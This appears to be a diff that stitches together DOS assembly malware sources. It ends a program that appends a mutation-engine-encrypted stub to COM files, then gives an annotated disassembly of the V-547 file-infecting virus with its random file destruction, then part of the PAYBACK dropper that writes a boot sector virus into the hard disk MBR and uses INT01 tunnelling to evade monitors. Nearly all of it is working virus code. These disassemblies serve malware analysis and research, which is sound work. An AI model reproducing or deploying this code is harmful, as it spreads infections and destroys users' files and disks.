mov si,offset Entered_Pass
|
||||
mov di,offset Password
|
||||
mov cx,0c
|
||||
repz cmpsb
|
||||
jcxz Password_Good
|
||||
stc
|
||||
ret
|
||||
Password_Good:
|
||||
clc
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
gets: ;get string
|
||||
mov ah,0a
|
||||
push bx
|
||||
mov bx,dx
|
||||
mov byte ptr ds:[bx],al
|
||||
mov byte ptr ds:[bx+1],0
|
||||
pop bx
|
||||
int 21
|
||||
push bx
|
||||
mov bx,dx
|
||||
mov al,byte ptr ds:[bx+1]
|
||||
xor ah,ah
|
||||
add bx,ax
|
||||
mov byte ptr ds:[bx+2],0
|
||||
pop bx
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
GetPass:
|
||||
KeyHit_Loop: ;Load in password
|
||||
push cx
|
||||
sub ax,ax
|
||||
int 16
|
||||
cmp al,0dh
|
||||
je HitReturn
|
||||
stosb
|
||||
pop cx
|
||||
loop KeyHit_Loop
|
||||
ret
|
||||
HitReturn:
|
||||
pop cx
|
||||
xor al,al
|
||||
repnz stosb
|
||||
ret
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
Time dw 0
|
||||
Date dw 0
|
||||
|
||||
GetTime:
|
||||
mov ax,5700 ;Get file date/time from handle BX
|
||||
int 21
|
||||
mov word ptr cs:[Time],cx
|
||||
mov word ptr cs:[Date],dx
|
||||
ret
|
||||
|
||||
SetTime: ;Set file date/time for handle BX
|
||||
mov ax,5701
|
||||
mov cx,word ptr cs:[Time]
|
||||
mov dx,word ptr cs:[Date]
|
||||
int 21
|
||||
ret
|
||||
|
||||
Do_File:
|
||||
mov ax,3d02
|
||||
mov dx,offset Filename
|
||||
int 21 ;Open file read/write
|
||||
jc Terminate
|
||||
xchg bx,ax
|
||||
|
||||
call GetTime ;Get file date/time
|
||||
call BackupFile ;make a copy....
|
||||
|
||||
mov ah,3f
|
||||
mov cx,4
|
||||
mov dx,offset Storage_Bytes ;Read in first four bytes for jump
|
||||
int 21
|
||||
|
||||
mov ax,4202
|
||||
xor cx,cx
|
||||
xor dx,dx ;go to the end of the file
|
||||
int 21
|
||||
|
||||
sub ax,3
|
||||
mov word ptr [JumpBytes+1],ax ;Save Jump size
|
||||
|
||||
push bx
|
||||
mov si,offset begin_password ;On Entry -> CS=DS=ES
|
||||
mov di,offset _END_ULTMUTE ;SI=Source, DI=Destination
|
||||
mov bx,ax ;BX=Next Entry Point
|
||||
add bx,103
|
||||
mov cx,end_password-begin_password+1 ;CX=Size to Encrypt
|
||||
mov ax,1 ;AX=Calling Style
|
||||
|
||||
call _ULTMUTE ;Encrypt Code
|
||||
|
||||
;On Return -> CX=New Size
|
||||
pop bx
|
||||
|
||||
mov dx,offset _END_ULTMUTE
|
||||
mov ah,40 ;Write encrypted code and
|
||||
int 21 ;decryptor to end of file
|
||||
|
||||
mov ax,4200
|
||||
xor dx,dx ;Go back to beginning of file
|
||||
xor cx,cx
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov cx,4
|
||||
mov dx,offset JumpBytes ;Write in jump to decryptor
|
||||
int 21
|
||||
|
||||
call SetTime ;Restore file date/time
|
||||
|
||||
mov ah,3e
|
||||
int 21 ;close file
|
||||
ret
|
||||
|
||||
Terminate:
|
||||
mov ah,09
|
||||
mov dx,offset BadFile
|
||||
int 21
|
||||
ret
|
||||
BadFile db 'Error Opening File.',07,0dh,0a,24
|
||||
|
||||
JumpBytes db 0e9,0,0,'á'
|
||||
|
||||
EncryptGP: ;Encrypt GoodPass routine in pw_com
|
||||
xor ax,ax ;with value from password itself...
|
||||
mov cx,0c
|
||||
mov si,offset Password
|
||||
|
||||
GetValue:
|
||||
lodsb
|
||||
add ah,al
|
||||
ror ah,1 ;Get value to use for encrypt...
|
||||
loop GetValue
|
||||
|
||||
mov si,offset Goodpass
|
||||
mov cx,EndGoodPass-GoodPass
|
||||
|
||||
Decrypt_Restore: ;This needs improvement....
|
||||
mov al,[si]
|
||||
xor al,ah
|
||||
mov [si],al
|
||||
inc si
|
||||
loop Decrypt_Restore
|
||||
ret
|
||||
|
||||
BackupFile: ;Create copy of file...
|
||||
mov si,offset Filename
|
||||
mov cx,80
|
||||
|
||||
Find_Eofn:
|
||||
lodsb
|
||||
cmp al,'.' ;Find file extension
|
||||
je FoundDot
|
||||
or al,al
|
||||
jz FoundZero
|
||||
loop Find_Eofn
|
||||
jmp Terminate
|
||||
FoundZero:
|
||||
mov byte ptr [si-1],'.'
|
||||
inc si
|
||||
FoundDot:
|
||||
mov word ptr [si],'LO'
|
||||
mov byte ptr [si+2],'D' ;Change extension to 'OLD'
|
||||
mov byte ptr [si+3],0
|
||||
|
||||
|
||||
mov dx,offset Filename
|
||||
mov word ptr [SourceF],bx
|
||||
mov ah,3c
|
||||
xor cx,cx
|
||||
int 21
|
||||
jnc GCreate
|
||||
jmp Terminate
|
||||
GCreate:
|
||||
mov word ptr cs:[Destf],ax
|
||||
BackLoop:
|
||||
mov ah,3f
|
||||
mov bx,word ptr cs:[Sourcef]
|
||||
mov cx,400
|
||||
mov dx,offset FileBuffer ;Copy file to backup
|
||||
int 21
|
||||
|
||||
mov cx,ax
|
||||
mov ah,40
|
||||
mov bx,word ptr cs:[Destf]
|
||||
mov dx,offset Filebuffer
|
||||
int 21
|
||||
|
||||
cmp ax,400
|
||||
je BackLoop
|
||||
DoneBack:
|
||||
mov bx,word ptr cs:[Destf]
|
||||
call SetTime ;Save original date/time stamp in
|
||||
;backup
|
||||
mov ah,3e
|
||||
mov bx,word ptr cs:[Destf]
|
||||
int 21 ;Close file
|
||||
|
||||
mov ax,4200
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,word ptr cs:[Sourcef] ;Go back to the beginning of the
|
||||
int 21 ;source file
|
||||
ret
|
||||
|
||||
SourceF dw 0
|
||||
DestF dw 0
|
||||
|
||||
;This is code from PW_COM compiled converted to data bytes..
|
||||
;If you modify PW_COM, you must compile it and convert it, then
|
||||
;place it here. Note that the byte 0ffh marks the beginning and
|
||||
;end of Goodpass for simplicity....
|
||||
|
||||
begin_password:
|
||||
db 0e8h, 02dh, 01h, 02eh, 0c6h, 086h, 09h, 01h, 0eah, 0ebh
|
||||
db 06h, 00h, 0ebh, 011h, 090h, 0adh, 0deh, 0bbh, 021h, 01h
|
||||
db 03h, 0ddh, 053h, 02eh, 0c6h, 086h, 011h, 01h, 0c3h, 0ebh
|
||||
db 0edh, 0ebh, 0f0h, 0fah, 050h, 01eh, 033h, 0c0h, 08eh, 0d8h
|
||||
db 08dh, 086h, 01ch, 02h, 087h, 06h, 00h, 00h, 050h, 08ch
|
||||
db 0c8h, 087h, 06h, 02h, 00h, 050h, 01eh, 0eh, 01fh, 02eh
|
||||
db 0c7h, 086h, 044h, 01h, 090h, 090h, 033h, 0c9h, 0f7h, 0f1h
|
||||
db 01fh, 058h, 087h, 06h, 02h, 00h, 058h, 087h, 06h, 00h
|
||||
db 00h, 01fh, 058h, 0fbh, 0e8h, 0aah, 00h, 02eh, 080h, 086h
|
||||
db 05eh, 01h, 010h, 0ebh, 03h, 090h, 0eah, 09ah, 0e8h, 081h
|
||||
db 00h, 0e8h, 069h, 00h, 072h, 038h, 033h, 0c0h, 0b9h, 0ch
|
||||
db 00h, 08dh, 0b6h, 04eh, 02h, 0ach, 02h, 0e0h, 0d0h, 0cch
|
||||
db 0e2h, 0f9h, 08dh, 0b6h, 090h, 01h, 0b9h, 011h, 00h, 08ah
|
||||
db 04h, 032h, 0c4h, 088h, 04h, 046h, 0e2h, 0f7h, 0e8h, 039h
|
||||
db 00h, 0ebh, 01h, 0ffh
|
||||
|
||||
GoodPass:
|
||||
db 0bfh, 00h, 01h, 057h, 08dh, 0b6h
|
||||
db 03eh, 02h, 0a5h, 0a5h, 033h, 0c0h, 08bh, 0f0h, 08bh, 0f8h
|
||||
db 0c3h
|
||||
EndGoodPass:
|
||||
|
||||
db 0ffh, 0b4h, 09h, 08dh, 096h, 0afh, 01h, 0cdh, 021h
|
||||
db 0b8h, 01h, 04ch, 0cdh, 021h, 0ah, 0dh, 050h, 061h, 073h
|
||||
db 073h, 077h, 06fh, 072h, 064h, 020h, 049h, 06eh, 063h, 06fh
|
||||
db 072h, 072h, 065h, 063h, 074h, 02eh, 07h, 024h, 090h, 0ebh
|
||||
db 05h, 090h, 0eah, 0f8h, 0c3h, 09ah, 0fch, 0ebh, 0fah, 08dh
|
||||
db 0b6h, 04eh, 02h, 08dh, 0beh, 042h, 02h, 0b9h, 0ch, 00h
|
||||
db 0f3h, 0a6h, 0e3h, 03h, 0f9h, 0c3h, 0e9h, 0f8h, 0c3h, 00h
|
||||
db 08bh, 09eh, 03ah, 02h, 08bh, 096h, 03ch, 02h, 08dh, 0b6h
|
||||
db 04eh, 02h, 08bh, 0feh, 0b9h, 06h, 00h, 0adh, 033h, 0c3h
|
||||
db 03h, 0dah, 0abh, 0e2h, 0f8h, 0c3h, 0eah, 0b9h, 0ch, 00h
|
||||
db 08dh, 0beh, 04eh, 02h, 051h, 02bh, 0c0h, 0cdh, 016h, 03ch
|
||||
db 0dh, 074h, 05h, 0aah, 059h, 0e2h, 0f3h, 0c3h, 059h, 032h
|
||||
db 0c0h, 0f2h, 0aah, 0c3h, 0b4h, 09h, 08dh, 096h, 025h, 02h
|
||||
db 0cdh, 021h, 0cfh, 050h, 061h, 073h, 073h, 077h, 06fh, 072h
|
||||
db 064h, 02dh, 03eh, 024h, 05dh, 0ebh, 01h, 0eah, 055h, 081h
|
||||
db 0edh, 03h, 01h, 0c3h
|
||||
;------------------------------------------------------------------------
|
||||
Key1 dw 0
|
||||
Key2 dw 0
|
||||
;------------------------------------------------------------------------
|
||||
Storage_Bytes db 90,90,0cdh,20
|
||||
;------------------------------------------------------------------------
|
||||
Password db 'Greetings to'
|
||||
Entered_Pass db 'everyone! '
|
||||
db 0,0,0,0,0,0,0
|
||||
end_password:
|
||||
dw 0
|
||||
dw 0
|
||||
Filename_data dw 0
|
||||
Filename db 80 dup(0) ;These are stored as zeros to
|
||||
FileBuffer db 400 dup(0) ;keep from overwriting ultimute...
|
||||
end start
|
|
@ -0,0 +1,341 @@
|
|||
;----------------------------------------------
|
||||
; Virus V-547
|
||||
;
|
||||
; Dissasembled: Andrzej Kadlof April 1991
|
||||
;
|
||||
; (C) Polish Section of Virus Information Bank
|
||||
;----------------------------------------------
|
||||
|
||||
0100 E9FD00 JMP 0200 ; jump to virus
|
||||
|
||||
; ....
|
||||
; victim code
|
||||
;====================
|
||||
; virus entry point
|
||||
|
||||
0200 EB03 JMP 0205
|
||||
|
||||
0202 49 42 4D ; IBM
|
||||
|
||||
; set DS to wirus working area
|
||||
|
||||
0205 0E PUSH CS
|
||||
0206 58 POP AX
|
||||
0207 052000 ADD AX,0020 ; [0208] is modified for each victim
|
||||
020A 8ED8 MOV DS,AX
|
||||
|
||||
; restore oryginal first 3 bytes of victim
|
||||
|
||||
020C 8B162002 MOV DX,[0220]
|
||||
0210 2E89160001 MOV CS:[0100],DX
|
||||
0215 8A362202 MOV DH,[0222]
|
||||
0219 2E88360201 MOV CS:[0102],DH
|
||||
|
||||
021E B80001 MOV AX,0100 ; application start address
|
||||
0221 0E PUSH CS ; store on stack
|
||||
0222 50 PUSH AX
|
||||
0223 33FF XOR DI,DI
|
||||
0225 2E8E062C00 MOV ES,CS:[002C] ; segment of environment
|
||||
022A 51 PUSH CX
|
||||
022B FC CLD
|
||||
022C 32C0 XOR AL,AL
|
||||
|
||||
022E B90500 MOV CX,0005 ; length of string
|
||||
0231 BE1B02 MOV SI,021B ; PATH=
|
||||
0234 F3A6 REPZ CMPSB
|
||||
0236 740B JZ 0243
|
||||
|
||||
0238 B9E803 MOV CX,03E8
|
||||
023B F2AE REPNZ SCASB
|
||||
023D 26803D00 CMP BYTE PTR ES:[DI],00
|
||||
0241 75EB JNZ 022E
|
||||
|
||||
0243 8BF7 MOV SI,DI
|
||||
0245 59 POP CX
|
||||
0246 51 PUSH CX
|
||||
0247 B42C MOV AH,2C ; get time
|
||||
0249 CD21 INT 21
|
||||
|
||||
024B F6C601 TEST DH,01 ; seconds
|
||||
024E 7503 JNZ 0253
|
||||
|
||||
0250 E9B401 JMP 0407
|
||||
|
||||
0253 88365702 MOV [0257],DH
|
||||
0257 06 PUSH ES
|
||||
0258 B42F MOV AH,2F ; Get DTA
|
||||
025A CD21 INT 21
|
||||
|
||||
025C 891E2802 MOV [0228],BX
|
||||
0260 8C062A02 MOV [022A],ES
|
||||
0264 07 POP ES
|
||||
0265 BA2C02 MOV DX,022C
|
||||
0268 B41A MOV AH,1A ; set DTA
|
||||
026A CD21 INT 21
|
||||
|
||||
026C B44E MOV AH,4E ; find first
|
||||
026E BA2302 MOV DX,0223
|
||||
0271 B90800 MOV CX,0008 ; volume label
|
||||
0274 CD21 INT 21
|
||||
|
||||
0276 7219 JB 0291
|
||||
|
||||
0278 813E44022110 CMP WORD PTR [0244],1021 ; date: 1988 January 1
|
||||
027E 7511 JNZ 0291
|
||||
|
||||
0280 81264202E0FF AND WORD PTR [0242],FFE0 ; clear seconds
|
||||
0286 813E42022008 CMP WORD PTR [0242],0820 ; time: 01:01:00
|
||||
028C 7503 JNZ 0291
|
||||
|
||||
028E E96A01 JMP 03FB ; exit to application
|
||||
|
||||
; copy founded string to local buffer
|
||||
|
||||
0291 BF5802 MOV DI,0258 ; set buffer address
|
||||
|
||||
0294 26803C3B CMP BYTE PTR ES:[SI],3B ; ';' end of string marker
|
||||
0298 740F JZ 02A9
|
||||
|
||||
029A 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment
|
||||
029E 7409 JZ 02A9
|
||||
|
||||
02A0 268A04 MOV AL,ES:[SI]
|
||||
02A3 8805 MOV [DI],AL
|
||||
02A5 47 INC DI
|
||||
02A6 46 INC SI
|
||||
02A7 EBEB JMP 0294 ; copy next character
|
||||
|
||||
02A9 81FF5802 CMP DI,0258 ; path name non empty?
|
||||
02AD 7509 JNZ 02B8 ; jump if no empty
|
||||
|
||||
02AF 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment block?
|
||||
02B3 7403 JZ 02B8 ; jump if yes
|
||||
|
||||
02B5 E93801 JMP 03F0 ; no path name, exit
|
||||
|
||||
02B8 81FF5802 CMP DI,0258 ; no path name?
|
||||
02BC 7412 JZ 02D0 ; jump if yes
|
||||
|
||||
02BE 26807CFF5C CMP BYTE PTR ES:[SI-01],5C ; '\'
|
||||
02C3 740B JZ 02D0
|
||||
|
||||
02C5 26807CFF2F CMP BYTE PTR ES:[SI-01],2F ; '/'
|
||||
02CA 7404 JZ 02D0
|
||||
|
||||
; add directory sign
|
||||
|
||||
02CC C6055C MOV BYTE PTR [DI],5C ; '\'
|
||||
|
||||
; add mask
|
||||
|
||||
02CF 47 INC DI
|
||||
02D0 C7052A2E MOV WORD PTR [DI],2E2A ; '*.'
|
||||
02D4 C74502636F MOV WORD PTR [DI+02],6F63 ; 'co'
|
||||
02D9 C745046D00 MOV WORD PTR [DI+04],006D ; 'm', 0
|
||||
|
||||
02DE B44E MOV AH,4E ; find next
|
||||
02E0 BA5802 MOV DX,0258 ; path name + mask
|
||||
02E3 B90300 MOV CX,0003 ; hiden and read only
|
||||
02E6 CD21 INT 21
|
||||
|
||||
02E8 7303 JAE 02ED ; founded
|
||||
|
||||
02EA E90301 JMP 03F0 ; search for next path
|
||||
|
||||
02ED A14202 MOV AX,[0242] ; file time
|
||||
02F0 241F AND AL,1F ; extract seconds
|
||||
02F2 3C1F CMP AL,1F ; 62 seconds?
|
||||
02F4 7463 JZ 0359 ; yes, infected
|
||||
|
||||
02F6 833E480200 CMP WORD PTR [0248],+00 ; high word of file length
|
||||
02FB 755C JNZ 0359 ; file too long
|
||||
|
||||
02FD 813E460200FA CMP WORD PTR [0246],FA00 ; maximum file length
|
||||
0303 7754 JA 0359
|
||||
|
||||
0305 833E46020A CMP WORD PTR [0246],+0A ; minimum file length
|
||||
030A 724D JB 0359 ; file too short
|
||||
|
||||
; copy file name to local buffer
|
||||
|
||||
030C BB4A02 MOV BX,024A ; file name
|
||||
030F B90D00 MOV CX,000D ; length of file name in DTA
|
||||
0312 57 PUSH DI
|
||||
0313 8A07 MOV AL,[BX]
|
||||
0315 8805 MOV [DI],AL
|
||||
0317 43 INC BX
|
||||
0318 47 INC DI
|
||||
0319 E2F8 LOOP 0313
|
||||
|
||||
; clear all attributes (CX = 0)
|
||||
|
||||
031B C60500 MOV BYTE PTR [DI],00 ; end of ASCIIZ string
|
||||
031E 5F POP DI
|
||||
031F B80143 MOV AX,4301 ; set file attribute
|
||||
0322 CD21 INT 21
|
||||
|
||||
0324 B8023D MOV AX,3D02 ; open file for read/write
|
||||
0327 CD21 INT 21
|
||||
|
||||
0329 722E JB 0359 ; find next
|
||||
|
||||
032B 8BD8 MOV BX,AX ; handle
|
||||
032D A14202 MOV AX,[0242] ; file time
|
||||
0330 241F AND AL,1F ; extract seconds
|
||||
0332 3C1E CMP AL,1E ; 62?
|
||||
0334 750A JNZ 0340
|
||||
|
||||
; founded file is infected, with probability 1/16 destroy it
|
||||
|
||||
0336 802657020F AND BYTE PTR [0257],0F ; "random" number
|
||||
033B 740A JZ 0347 ; destroy file
|
||||
|
||||
033D E98400 JMP 03C4 ; restore file data and exit
|
||||
|
||||
; with probability 1/8 destroy file
|
||||
|
||||
0340 8026570207 AND BYTE PTR [0257],07
|
||||
0345 7515 JNZ 035C ; infect file
|
||||
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
; classic Vienna 648 destruction (set firt instruction to JMP F000:FFF0)
|
||||
|
||||
0347 B440 MOV AH,40 ; write file
|
||||
0349 B90500 MOV CX,0005
|
||||
034C BA1302 MOV DX,0213
|
||||
034F CD21 INT 21
|
||||
|
||||
0351 810E42021F00 OR WORD PTR [0242],001F
|
||||
0357 EB6B JMP 03C4 ; exit
|
||||
|
||||
0359 E98B00 JMP 03E7 ; find next
|
||||
|
||||
; infect file
|
||||
|
||||
035C B43F MOV AH,3F ; read file
|
||||
035E B90300 MOV CX,0003 ; 3 bytes
|
||||
0361 BA2002 MOV DX,0220 ; to local buffer
|
||||
0364 CD21 INT 21
|
||||
|
||||
0366 725C JB 03C4 ; reset file data
|
||||
|
||||
0368 3D0300 CMP AX,0003 ; check for error
|
||||
036B 7557 JNZ 03C4 ; reset file data
|
||||
|
||||
036D B80042 MOV AX,4200 ; move file ptr to BOF
|
||||
0370 B90000 MOV CX,0000
|
||||
0373 BA0000 MOV DX,0000
|
||||
0376 CD21 INT 21
|
||||
|
||||
0378 724A JB 03C4 ; reset file data
|
||||
|
||||
037A A14602 MOV AX,[0246] ; file size
|
||||
037D 050F00 ADD AX,000F ; addjust to paragraph border
|
||||
0380 25F0FF AND AX,FFF0
|
||||
0383 8BE8 MOV BP,AX ; store intermidiate length
|
||||
0385 2D0300 SUB AX,0003 ; length of JMP XXXX
|
||||
0388 A31902 MOV [0219],AX ; form JMP XXXX in local buffer
|
||||
038B B90300 MOV CX,0003 ; number of bytes
|
||||
038E BA1802 MOV DX,0218 ; address of JMP virus_code
|
||||
0391 B440 MOV AH,40 ; write file
|
||||
0393 CD21 INT 21
|
||||
|
||||
0395 722D JB 03C4 ; reset file data
|
||||
|
||||
0397 B80242 MOV AX,4202 ; move file ptr rel EOF
|
||||
039A 8BD5 MOV DX,BP ; addjuseted file length
|
||||
039C 2B164602 SUB DX,[0246] ; real file length
|
||||
03A0 B90000 MOV CX,0000 ; high word of file end
|
||||
03A3 CD21 INT 21
|
||||
|
||||
03A5 721D JB 03C4 ; restore file data
|
||||
|
||||
03A7 81C50001 ADD BP,0100 ; PSP length
|
||||
03AB B104 MOV CL,04 ; convert to paragraphs
|
||||
03AD D3ED SHR BP,CL
|
||||
03AF 892E0800 MOV [0008],BP ; automodyfication of virus code
|
||||
03B3 B92302 MOV CX,0223 ; virus length
|
||||
03B6 90 NOP
|
||||
03B7 BA0000 MOV DX,0000 ; buffer, start of virus code
|
||||
03BA B440 MOV AH,40 ; write file
|
||||
03BC CD21 INT 21
|
||||
|
||||
03BE 810E42021E00 OR WORD PTR [0242],001E ; set 62 seconds
|
||||
|
||||
; restore file time/date stamp
|
||||
|
||||
03C4 8B164402 MOV DX,[0244] ; restore file date stamp
|
||||
03C8 8B0E4202 MOV CX,[0242] ; restore file time stamp
|
||||
03CC B80157 MOV AX,5701 ; set file time/date stamp
|
||||
03CF CD21 INT 21
|
||||
|
||||
03D1 B43E MOV AH,3E ; close file
|
||||
03D3 CD21 INT 21
|
||||
|
||||
; restore file attributes
|
||||
|
||||
03D5 B80143 MOV AX,4301 ; set file attributes
|
||||
03D8 33C9 XOR CX,CX
|
||||
03DA 8A0E4102 MOV CL,[0241] ; restore file attributes
|
||||
03DE BA5802 MOV DX,0258
|
||||
03E1 03D6 ADD DX,SI
|
||||
03E3 CD21 INT 21
|
||||
|
||||
03E5 EB14 JMP 03FB ; exit
|
||||
|
||||
; find next candidate for victim
|
||||
|
||||
03E7 B44F MOV AH,4F ; find next
|
||||
03E9 CD21 INT 21
|
||||
|
||||
03EB 7203 JB 03F0 ; search for next path
|
||||
|
||||
03ED E9FDFE JMP 02ED ; check file
|
||||
|
||||
03F0 46 INC SI
|
||||
03F1 26807CFF00 CMP BYTE PTR ES:[SI-01],00 ; end of environment block?
|
||||
03F6 7403 JZ 03FB ; yes, exit
|
||||
|
||||
03F8 E996FE JMP 0291 ; search for next path name
|
||||
|
||||
; restore DTA
|
||||
|
||||
03FB B41A MOV AH,1A ; set DTA
|
||||
03FD 8B162802 MOV DX,[0228]
|
||||
0401 8E1E2A02 MOV DS,[022A]
|
||||
0405 CD21 INT 21
|
||||
|
||||
; exit to application
|
||||
|
||||
0407 33C0 XOR AX,AX
|
||||
0409 33DB XOR BX,BX
|
||||
040B 33D2 XOR DX,DX
|
||||
040D 33F6 XOR SI,SI
|
||||
040F 33FF XOR DI,DI
|
||||
0411 59 POP CX
|
||||
0412 CB RETF
|
||||
|
||||
; working area
|
||||
|
||||
0413 EAF0FF00F0 ; JMP F000:FFF0 instruction for destruction
|
||||
0418 E9 FD 00 ; form new first 3 bytes (JMP 0518)
|
||||
041B 50 41 54 48 3D ; PATH=
|
||||
0420 db ? dup (3) ; first 3 bytes of victim
|
||||
|
||||
; end of code copied to file
|
||||
;==============================
|
||||
; working area
|
||||
|
||||
0423 db ? dup (5) ; mask of file name for FindFirst
|
||||
0428 dd ? ; address of old DTA
|
||||
042C db ? dup (2C) ; local DTA
|
||||
|
||||
; 0 db ? dup (15h) ; reserwed [022C]
|
||||
; 15h db ? ; atributte [0241]
|
||||
; 16h dw ? ; time [0242]
|
||||
; 18h dw ? ; date [0244]
|
||||
; 1Ah dd ? ; file size [0246]
|
||||
; 1Eh db ? dup (0Dh) ; file name [024A] ... [0256]
|
||||
|
||||
0457 db ? ; system timer seconds
|
||||
0458 db ? ; buffer for path name from environment
|
|
@ -0,0 +1,476 @@
|
|||
;*****************************************************************************
|
||||
;* *
|
||||
;* FILE: PAYBACK.A86 *
|
||||
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
|
||||
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
|
||||
;* *
|
||||
;*****************************************************************************
|
||||
|
||||
MAIN SEGMENT BYTE
|
||||
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
|
||||
|
||||
ORG 100h
|
||||
|
||||
;*****************************************************************************
|
||||
;Decryption routine to decrypt body of virus. Not used in this file as virus
|
||||
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
|
||||
;tion key possibly chosen for its randomized bit sequence (just a guess).
|
||||
|
||||
;DECRYPT:
|
||||
; MOV CX,02A8 ;set length of encrypted code
|
||||
; MOV AX,0391D ;load decryption key (bit sequence
|
||||
; ;"0011100100011101")
|
||||
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
|
||||
;DECLP1: DEC CX ;decrement byte count
|
||||
; JS DROPPER ;if done, jump to dropper start
|
||||
; XOR [SI],AL ;decrypt a byte
|
||||
; XCHG AH,AL ;change key
|
||||
; ROR AX,CL ;really mix it up
|
||||
; DEC SI ;point to next byte to decrypt
|
||||
; JMP DECLP1 ;do it all again
|
||||
|
||||
;****************************************************************************
|
||||
;Dropper routine to place virus in MBR of fixed disk "C".
|
||||
|
||||
DROPPER:
|
||||
MOV AX,03513 ;get INT13 vector.
|
||||
INT 021
|
||||
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
|
||||
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
|
||||
CALL STEAL_INT01 ;jump to steal INT01 routine
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
|
||||
MOV CX,0001 ;cylinder 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL SYS_INT13 ;read boot sector of drive "C"
|
||||
JB RUN_CARRIER ;if flag = failure, execute carrier
|
||||
CMP WORD PTR [BX+010],012CD ;check for infection tag
|
||||
JE RUN_CARRIER ;if infected, execute carrier program
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;point to data segment 0000h
|
||||
MOV AX,[046C] ;load lower two bytes of master clock
|
||||
PUSH CS
|
||||
POP DS ;restore data segment
|
||||
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
|
||||
JZ RUN_CARRIER ;if AL <> 01, do not infect system
|
||||
SUB BX,0200 ;set disk I/O buffer to point to virus
|
||||
MOV AX,0302 ;select write-two-sectors
|
||||
CALL SYS_INT13 ;write virus to MBR and original
|
||||
;boot sector to sector 2.
|
||||
|
||||
;****************************************************************************
|
||||
;Routine to restore original jump address to start of trojan file and to
|
||||
;execute trojan carrier program. We don't use it here since the virus is not
|
||||
;attached to anything (other than its own dropper). Instead, the replacement
|
||||
;RUN_CARRIER routine below it is executed to terminate the dropper.
|
||||
|
||||
;RUN_CARRIER:
|
||||
; MOV DI,0100 ;point to carrier prog. start
|
||||
; MOV WORD PTR [DI],030B4 ;restore original jump value
|
||||
; MOV BYTE PTR [DI+02],CD ;ditto
|
||||
; XOR AX,AX
|
||||
; PUSH DI ;zero DI
|
||||
; RET ;exit and execute carrier program
|
||||
|
||||
RUN_CARRIER:
|
||||
MOV AX,04C00 ;select terminate-with-return-code
|
||||
INT 021 ;terminate PAYBACK.COM dropper
|
||||
|
||||
;*****************************************************************************
|
||||
;Routine to steal INT01 for tunnelling purposes and then restore it to its
|
||||
;original value. Tunnelling is new to me, so I hope that I got this right.
|
||||
|
||||
STEAL_INT01:
|
||||
MOV AX,03501 ;get INT01 (single-step) vector
|
||||
INT 021
|
||||
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
|
||||
MOV AH,025 ;steal INT01 vector
|
||||
INT 021
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
OR AH,01 ;set trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register (from this
|
||||
;point on, every instruction execution
|
||||
;also executes the viral INT01
|
||||
;handler)
|
||||
XOR AX,AX ;zero AX
|
||||
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
|
||||
;to find BIOS INT13 handler address
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
AND AH,0FE ;zero trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register
|
||||
MOV AX,02501 ;set-interrupt-vector function (INT01)
|
||||
MOV DX,BX ;load DX with orig. INT01 offset
|
||||
PUSH ES
|
||||
POP DS ;load DS with orig. INT01 segment
|
||||
INT 21 ;restore INT01 vector to orig. value
|
||||
PUSH CS
|
||||
PUSH CS
|
||||
POP DS ;set DS and ES to value of
|
||||
POP ES ;code segment
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;INT01 handler routine to accomplish tunnelling address aquisition for
|
||||
;original INT13 handler.
|
||||
|
||||
FIND_INT13:
|
||||
PUSH BP
|
||||
MOV BP,SP ;load BP with the stack offset
|
||||
PUSH AX
|
||||
MOV AX,[BP+04] ;load AX with the segment of the
|
||||
;calling routine
|
||||
CMP AX,0C800 ;is it in DOS segment?
|
||||
JNB TUNNEL ;if not, its time to tunnel
|
||||
|
||||
EXIT: POP AX ;restore registers
|
||||
POP BP
|
||||
IRET ;return from INT01 interrupt
|
||||
|
||||
TUNNEL:
|
||||
CMP AX,0F000 ;calling routine in ROM?
|
||||
JA EXIT ;if so, no need to tunnel, so exit
|
||||
CS: ;if not, store orig. INT13 segment
|
||||
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
|
||||
MOV AX,[BP+02] ;load AX with original INT13 offset
|
||||
CS:
|
||||
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
|
||||
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
|
||||
JMP EXIT ;return to prevent re-execution of
|
||||
;this INT01 handler
|
||||
|
||||
SYS_INT13:
|
||||
PUSHF ;preserve flags
|
||||
CS:
|
||||
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;Start of boot sector virus code.
|
||||
|
||||
BOOT: CLI ;disable interrupts
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;set data segment
|
||||
MOV SS,AX ;set stack segment
|
||||
MOV SP,0FFFE ;set stack pointer
|
||||
STI ;enable interrupts
|
||||
PUSH DS ;preserve DS
|
||||
DEC WORD PTR [0413] ;lower top of memory 1K
|
||||
INT 012 ;get base memory size
|
||||
MOV CL,0A ;set rotation count
|
||||
